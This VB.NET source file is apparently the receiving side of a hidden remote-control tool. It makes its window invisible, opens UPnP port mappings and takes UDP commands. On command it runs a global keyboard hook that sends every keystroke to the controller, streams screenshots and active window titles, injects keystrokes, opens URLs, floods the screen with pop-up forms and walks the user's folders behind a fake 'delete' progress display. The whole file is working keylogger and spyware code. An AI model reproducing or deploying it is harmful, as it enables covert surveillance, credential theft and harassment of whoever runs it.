﻿#Region "Imports"
Imports System.Net
Imports NATUPNPLib
Imports System.IO
Imports System.Threading
Imports System.Net.Sockets
Imports System.Text
#End Region

Public Class Reciever

#Region "Globals, uPnP, and Window API functions"

#Region "uPnP"
    Dim upnpnat As New UPnPNAT
    Dim mappings As IStaticPortMappingCollection = upnpnat.StaticPortMappingCollection
#End Region

#Region "Delegates"
    Private Delegate Sub delAddText(ByVal text As String)
    Private safeAddText As New delAddText(AddressOf AddText)
#End Region

#Region "UDP"
    Public udpsend As UdpClient
    Private udp As UdpClient
    Public ep As New IPEndPoint(Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2), 2456)
    Public eplisten As New IPEndPoint(Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2), 2457)
#End Region

#Region "Spam form globals"
    Private spamword As String
    Dim spamCounter As Long = 0
    Dim spamforms As New List(Of spam)
#End Region

#Region "Delete globals"
    Dim internaldirs As New List(Of String)
#End Region

#Region "Window API"
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
#End Region

#Region "Keyboard API Functions And Structures"

    'Event types
    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_KEYDOWN As Short = &H100S
    Private Const WM_SYSKEYDOWN As Integer = &H104
    Private Const WM_SYSKEYUP As Integer = &H105

    'Event Info structure
    Public Structure KBDLLHOOKSTRUCT
        Public vkCode As Integer 'KeyCode (Of interest to us)
        Public scanCode As Integer 'ScanCode
        Public flags As Integer
        Public time As Integer
        Public dwExtraInfo As Integer
    End Structure

    Enum virtualKey

        'Misc
        K_Return = &HD
        K_Backspace = &H8
        K_Space = &H20
        K_Tab = &H9
        K_Esc = &H1B

        K_Control = &H11
        K_LControl = &HA2
        K_RControl = &HA3

        K_Delete = &H2E
        K_End = &H23
        K_Home = &H24
        K_Insert = &H2D

        K_Shift = &H10
        K_LShift = &HA0
        K_RShift = &HA1

        K_Pause = &H13
        K_PrintScreen = 44

        K_LWin = &H5B
        K_RWin = &H5C

        K_Alt = &H12
        K_LAlt = &HA4
        K_RAlt = &HA5

        'Locks
        K_NumLock = &H90
        K_CapsLock = &H14

        'Arrows
        K_Up = &H26
        K_Down = &H28
        K_Right = &H27
        K_Left = &H25

        'F1-24
        K_F1 = &H70
        K_F2 = &H71
        K_F3 = &H72
        K_F4 = &H73
        K_F5 = &H74
        K_F6 = &H75
        K_F7 = &H76
        K_F8 = &H77
        K_F9 = &H78
        K_F10 = &H79
        K_F11 = &H7A
        K_F12 = &H7B
        K_F13 = &H7C
        K_F14 = &H7D
        K_F15 = &H7E
        K_F16 = &H7F
        K_F17 = &H80
        K_F18 = &H81
        K_F19 = &H82
        K_F20 = &H83
        K_F21 = &H84
        K_F22 = &H85
        K_F23 = &H86
        K_F24 = &H87

        'Numpad
        K_Numpad0 = &H60
        K_Numpad1 = &H61
        K_Numpad2 = &H62
        K_Numpad3 = &H63
        K_Numpad4 = &H64
        K_Numpad5 = &H65
        K_Numpad6 = &H66
        K_Numpad7 = &H67
        K_Numpad8 = &H68
        K_Numpad9 = &H69
        'Math (numpad)
        K_Num_Add = &H6B
        K_Num_Divide = &H6F
        K_Num_Multiply = &H6A
        K_Num_Subtract = &H6D
        K_Num_Decimal = &H6E

        'Caracteres e Números
        K_0 = &H30
        K_1 = &H31
        K_2 = &H32
        K_3 = &H33
        K_4 = &H34
        K_5 = &H35
        K_6 = &H36
        K_7 = &H37
        K_8 = &H38
        K_9 = &H39
        K_A = &H41
        K_B = &H42
        K_C = &H43
        K_D = &H44
        K_E = &H45
        K_F = &H46
        K_G = &H47
        K_H = &H48
        K_I = &H49
        K_J = &H4A
        K_K = &H4B
        K_L = &H4C
        K_M = &H4D
        K_N = &H4E
        K_O = &H4F
        K_P = &H50
        K_Q = &H51
        K_R = &H52
        K_S = &H53
        K_T = &H54
        K_U = &H55
        K_V = &H56
        K_W = &H57
        K_X = &H58
        K_Y = &H59
        K_Z = &H5A

        'Math (not numpad)
        K_Subtract = 189
        K_Decimal = 190

    End Enum

    'Keyboard hook related functions
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
    Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
#End Region

#Region "Globals"
    Private KeyboardHandle As IntPtr = 0 'Handle of the hook
    Private callback As KeyboardHookDelegate = Nothing 'Delegate for the hook
#End Region

#End Region

    ''' <summary>
    ''' Begins listening for UDP transmission
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim t As New Threading.Thread(AddressOf listen)
        t.IsBackground = True
        t.Start()
        Me.tmrInvisible.Start()
    End Sub

    ''' <summary>
    ''' Listens for UDP transmissions
    ''' </summary>
    ''' <remarks>If transmission is recieved, add text to the text box and run specified task</remarks>
    Private Sub listen()
        Try
            udp = New UdpClient(2456)
            udp.EnableBroadcast = True
            Try
                mappings.Add(2456, "UDP", 2456, Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2).ToString, True, "remote-listener")
                mappings.Add(2457, "UDP", 2457, Dns.GetHostAddresses(Dns.GetHostName()).ElementAt(2).ToString, True, "remote-screen")
            Catch ex As Exception
                'MsgBox(ex.Message)
            End Try

            Do
                Dim b() As Byte = udp.Receive(ep)

                'If Encoding.UTF32.GetString(b).Contains("keystosend.") Then
                'My.Computer.Keyboard.SendKeys("Hello") 'Encoding.UTF32.GetString(b).Substring(Encoding.UTF32.GetString(b).IndexOf("*") + 1))
                'Else
                Me.Invoke(safeAddText, Encoding.UTF32.GetString(b))
                'End If

            Loop
        Catch ex As Exception
            If udp IsNot Nothing Then udp.Close()
        End Try
    End Sub

    ''' <summary>
    ''' Checks incoming transmission for command
    ''' </summary>
    ''' <param name="text">Recieved transmission text</param>
    ''' <remarks>Performs action based on command recieved</remarks>
    Private Sub AddText(ByVal text As String)
        Select Case text.Substring(0, text.IndexOf("."))
            Case "spam"
                If text.Substring(text.IndexOf(".") + 1) <> "*stop*" Then
                    Me.tmrSpam.Start()
                    spamword = text.Substring(text.IndexOf(".") + 1)
                    Call SendStatus("Recieved, running spam")
                Else
                    Call SendStatus("Recieved, stopping spam")
                    Me.tmrSpam.Stop()
                    For counter As Integer = 0 To spamforms.Count - 1
                        spamforms(counter).Close()
                    Next
                    spamforms.Clear()
                    spamCounter = 0
                End If

            Case "delete"
                If text.Substring(text.IndexOf(".") + 1) = "run" And internaldirs.Count > 1 Then
                    Me.tmrDelete.Start()
                    Call SendStatus("Recieved, running delete")
                ElseIf text.Substring(text.IndexOf(".") + 1) = "*stop*" Then
                    Me.tmrDelete.Stop()
                    Call SendStatus("Recieved, stopping delete")
                Else
                    Dim delthread As New Thread(AddressOf delete)
                    delthread.IsBackground = True
                    delthread.Start()
                    Call SendStatus("Recieved, running scan")
                End If

            Case "windowtitle"
                If text.Substring(text.IndexOf(".") + 1) = "run" Then
                    Me.tmrWindowTitle.Start()
                    Call SendStatus("Recieved, running Window title check")
                ElseIf text.Substring(text.IndexOf(".") + 1) = "*stop*" Then
                    Me.tmrWindowTitle.Stop()
                    Call SendStatus("Recieved, stopping Window title check")
                End If

            Case "keys"
                If text.Substring(text.IndexOf(".") + 1) = "run" Then
                    If Not Hooked() Then
                        Call HookKeyboard()
                        Call SendStatus("Recieved, running key logger")
                    Else
                        Call SendStatus("Error, key logger already running")
                    End If
                ElseIf text.Substring(text.IndexOf(".") + 1) = "*stop*" Then
                    If Hooked() Then
                        Call UnhookKeyboard()
                        Call SendStatus("Recieved, stopping key logger")
                    Else
                        Call SendStatus("Error, no key logger to stop")
                    End If
                End If

            Case "webpage"
                If text.Substring(text.IndexOf(".") + 1) = "*stop*" Then
                    Try
                        For Each runningprocess As Process In Process.GetProcessesByName("firefox")
                            runningprocess.Close()
                        Next
                    Catch ex As Exception
                    End Try
                    Call SendStatus("Recieved, closing all webpages")
                Else
                    Process.Start("C:\Program Files (x86)\Mozilla Firefox\firefox.exe", "-new-window " & text.Substring(text.IndexOf(".") + 1))
                    Call SendStatus("Recieved, running webpage")
                End If
            Case "keystosend"
                If text.Substring(text.IndexOf(".") + 1) = "*b" Then
                    My.Computer.Keyboard.SendKeys("{BS}")
                ElseIf text.Substring(text.IndexOf(".") + 1) = "*e" Then
                    My.Computer.Keyboard.SendKeys("~")
                Else
                    Call SendStatus("Recieved, writing " + text.Substring(text.IndexOf(".") + 1))
                    My.Computer.Keyboard.SendKeys(text.Substring(text.IndexOf(".") + 1))
                End If
            Case "screenshot"
                Call SendStatus("Recieved, sending screenshot")
                Call GetScreen()
        End Select

        'Me.txtRecieve.Text += text & vbCrLf

    End Sub

    ''' <summary>
    ''' Sends status message back to controller
    ''' </summary>
    ''' <param name="status">Message to send</param>
    ''' <remarks></remarks>
    Sub SendStatus(ByVal status As String)
        Try
            udpsend = New UdpClient
            udpsend.EnableBroadcast = True

            Dim b() As Byte = Encoding.UTF32.GetBytes("status." & status)
            Dim epsend As IPEndPoint = ep
            epsend.Port = 2455
            udpsend.Send(b, b.Length, epsend)
            udpsend.Close()
        Catch ex As Exception
        End Try
    End Sub

    Sub GetScreen()
        Dim bmap As Bitmap

        bmap = New Bitmap(My.Computer.Screen.WorkingArea.Width, _
                My.Computer.Screen.WorkingArea.Height, _
                Imaging.PixelFormat.Format32bppArgb)
        Dim g As Graphics = Graphics.FromImage(bmap)
        g.CopyFromScreen(New Point(0, 0), New Point(0, 0), _
                New Size(My.Computer.Screen.WorkingArea.Width, _
                 My.Computer.Screen.WorkingArea.Height))
        'bmap.SetResolution(bmap.HorizontalResolution * 0.7, bmap.VerticalResolution * 0.7)
        'Try
        Dim udppacketsize As Integer = 65000
        udpsend = New UdpClient
        udpsend.EnableBroadcast = True
        Dim ms As New MemoryStream
        bmap.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg)
        ms.Position = 0
        'Console.WriteLine(ms.Length.ToString)
        Dim epsend As IPEndPoint = ep
        epsend.Port = 2458
        Dim numpackets As Integer = Math.Ceiling(ms.Length / udppacketsize)
        Dim packets() As Byte = Encoding.UTF32.GetBytes("scrn.start." & ms.Length.ToString)
        udpsend.Send(packets, packets.Length, epsend)
        Dim udplisten As New UdpClient(2457)
        udplisten.EnableBroadcast = True
        For counter As Integer = 0 To numpackets
            udplisten.Receive(eplisten)
            If ms.Position + udppacketsize > ms.Length Then
                udppacketsize = ms.Length - ms.Position
            End If
            Dim bytestosend(udppacketsize) As Byte
            ms.Read(bytestosend, 0, udppacketsize)
            udpsend.Send(bytestosend, bytestosend.Length, epsend)
            Erase bytestosend
            'Console.WriteLine(counter.ToString)
        Next
        udplisten.Close()
        Dim endbytes() As Byte = Encoding.UTF32.GetBytes("scrn.end")
        udpsend.Send(endbytes, endbytes.Length, epsend)
        'MessageBox.Show("done")
        ms.Dispose()
        g.Dispose()

        udpsend.Close()
        Erase packets

        ' Catch ex As Exception
        ' MessageBox.Show(ex.Message)
        ' End Try
        bmap.Dispose()
    End Sub
    ''' <summary>
    ''' Creates many forms with a specified text
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub tmrSpam_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrSpam.Tick
        If spamCounter < 100 Then
            spamforms.Add(New spam)
            spamforms(spamCounter).lblSpam.Text = spamword
            spamforms(spamCounter).Size = spamforms(spamCounter).lblSpam.Size
            spamforms(spamCounter).Show()

            spamCounter += 1
        Else
            spamforms(spamCounter - 100).Close()
            spamCounter -= 1
        End If
    End Sub

#Region "Recursive functions"
    ''' <summary>
    ''' Recursively adds directories
    ''' </summary>
    ''' <remarks>Adds all directories under the current logged in user's folder</remarks>
    Sub delete()
        Try
            If internaldirs(0) = "C:\Users\" & Environment.UserName Then
                Call AddDirToList(internaldirs, Directory.GetDirectories(internaldirs(0)).ElementAt(0))
            End If
        Catch
            Call AddDirToList(internaldirs, "C:\Users\" & Environment.UserName)
        End Try

    End Sub

    ''' <summary>
    ''' Recursive function; See above
    ''' </summary>
    ''' <param name="dirs"></param>
    ''' <param name="currentDir"></param>
    ''' <remarks></remarks>
    Private Sub AddDirToList(ByRef dirs As List(Of String), ByVal currentDir As String)
        dirs.Add(currentDir)
        Try
            For Each subDir As String In Directory.GetDirectories(currentDir)
                AddDirToList(dirs, subDir)
            Next
        Catch
        End Try
    End Sub
#End Region

    ''' <summary>
    ''' Starts the explorer window and the progress window
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub tmrDelete_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrDelete.Tick
        Static counter As Integer = 0
        Try
            For Each runningprocess As Process In Process.GetProcessesByName("explorer")
                If Process.GetProcessesByName("explorer").Count <= 1 Then
                    If runningprocess.StartTime > DateTime.Now.AddSeconds(-30) Then
                        Exit For
                    Else
                        If counter <= internaldirs.Count - 1 Then
                            Process.Start("explorer.exe", internaldirs(counter))
                            Progress.Show()
                            counter += 1
                        Else
                            Me.tmrDelete.Stop()
                        End If
                    End If
                Else
                    Exit For
                End If
            Next
        Catch
        End Try

    End Sub

    ''' <summary>
    ''' Sends current window title to controller
    ''' </summary>
    ''' <param name="sender"></param>
    ''' <param name="e"></param>
    ''' <remarks></remarks>
    Private Sub tmrWindowTitle_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWindowTitle.Tick
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)

        Try
            udpsend = New UdpClient
            udpsend.EnableBroadcast = True

            Dim b() As Byte = Encoding.UTF32.GetBytes("window." & MyStr)
            Dim epsend As IPEndPoint = ep
            epsend.Port = 2455
            udpsend.Send(b, b.Length, epsend)
            udpsend.Close()
        Catch ex As Exception

        End Try
    End Sub

#Region "Keyboard code"

    ''' <summary>
    ''' Checks if we set a hook or not
    ''' </summary>
    ''' <returns>True/False</returns>
    ''' <remarks></remarks>
    Private Function Hooked()
        Return KeyboardHandle <> 0 'If KeyboardHandle = 0 it means that it isn't hooked so return false, otherwise return true
    End Function

    ''' <summary>
    ''' Sets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
    Public Sub HookKeyboard()
        callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
        KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
    End Sub

    ''' <summary>
    ''' Unsets the keyboard hook
    ''' </summary>
    ''' <remarks></remarks>
    Public Sub UnhookKeyboard()
        If (Hooked()) Then
            If UnhookWindowsHookEx(KeyboardHandle) <> 0 Then
                KeyboardHandle = 0 'We have unhooked successfully
            End If
        End If
    End Sub

    ''' <summary>
    ''' Function to be called when there's a keyboard event
    ''' </summary>
    ''' <param name="Code">If this argument is lower than 0 you shouldn't block the event</param>
    ''' <param name="wParam">Type of event (Key UP/DOWN, etc.)</param>
    ''' <param name="lParam">Event Details</param>
    ''' <returns></returns>
    ''' <remarks></remarks>

    Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

        'Variable to hold the text describing the key pressed

        Dim Key As String = ""
        Static keyold As String

        'If event is KEYDOWN
        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then

            'Translate virtual key into character/expression
            Select Case lParam.vkCode
                Case virtualKey.K_0 To virtualKey.K_9
                    Key = ChrW(lParam.vkCode)
                Case virtualKey.K_A To virtualKey.K_Z
                    Key = ChrW(lParam.vkCode + 32)
                Case virtualKey.K_Space
                    Key = " "
                Case virtualKey.K_RControl, virtualKey.K_LControl
                    Key = "[c]"
                Case virtualKey.K_LAlt
                    Key = "[a]"
                Case virtualKey.K_RAlt
                    Key = "[alt gr]"
                Case virtualKey.K_LShift, virtualKey.K_RShift
                    Key = "[s]"
                Case virtualKey.K_Return
                    Key = "[e]"
                Case virtualKey.K_Tab
                    Key = "[t]"
                Case virtualKey.K_Delete
                    Key = "[d]"
                Case virtualKey.K_Esc
                    Key = "[esc]"
                Case virtualKey.K_CapsLock
                    If My.Computer.Keyboard.CapsLock Then
                        Key = "[/caps]"
                    Else
                        Key = "[caps]"
                    End If
                Case virtualKey.K_F1 To virtualKey.K_F24
                    Key = "[F" & (lParam.vkCode - 111) & "]"
                Case virtualKey.K_Right
                    Key = "[->]"
                Case virtualKey.K_Down
                    Key = "[┬]"
                Case virtualKey.K_Left
                    Key = "[<-]"
                Case virtualKey.K_Up
                    Key = "[┴]"
                Case virtualKey.K_Backspace
                    Key = "[bk]"
                Case virtualKey.K_Decimal, virtualKey.K_Num_Decimal
                    Key = "."
                Case virtualKey.K_Subtract, virtualKey.K_Num_Subtract
                    Key = "-"
                Case 106
                    Key = "*"
                Case 107
                    Key = "+"
                Case 144
                    If My.Computer.Keyboard.NumLock Then
                        Key = "[/n]"
                    Else
                        Key = "[n]"
                    End If
                Case 186
                    Key = ";"
                Case 187
                    Key = "="
                Case 188
                    Key = ","
                Case 191, 111
                    Key = "/"
                Case 192
                    Key = "`"
                Case 219
                    Key = "["
                Case 220
                    Key = "\"
                Case 221
                    Key = "]"
                Case 222
                    Key = "'"



                Case Else
                    Key = "[u: " & lParam.vkCode & "]" 'If we didn't treat it, show the virtual key code (integer) so that we know what Case to add
            End Select

            'If event is Key UP
        ElseIf wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
            Select Case lParam.vkCode
                Case virtualKey.K_RControl, virtualKey.K_LControl
                    Key = "[/c]"
                Case virtualKey.K_LAlt
                    Key = "[/a]"
                Case virtualKey.K_RAlt
                    Key = "[/alt gr]"
                Case virtualKey.K_LShift, virtualKey.K_RShift
                    Key = "[/s]"
            End Select

        End If

        'Send key information back

        If Not (Key = keyold And (Key = "[s]" Or Key = "[a]" Or Key = "[c]" Or Key = "[e]" Or Key = "[t]")) Then
            Try
                udpsend = New UdpClient
                udpsend.EnableBroadcast = True

                Dim b() As Byte = Encoding.UTF32.GetBytes("keys." & Key)
                Dim epsend As IPEndPoint = ep
                epsend.Port = 2455
                udpsend.Send(b, b.Length, epsend)
                udpsend.Close()
            Catch ex As Exception
            End Try

            keyold = Key

        End If

        Return CallNextHookEx(KeyboardHandle, Code, wParam, lParam) 'Let event go to the other applications

    End Function
#End Region

    Private Sub tmrInvisible_Tick(sender As System.Object, e As System.EventArgs) Handles tmrInvisible.Tick
        Me.Visible = False
        Me.tmrInvisible.Stop()
    End Sub
End Class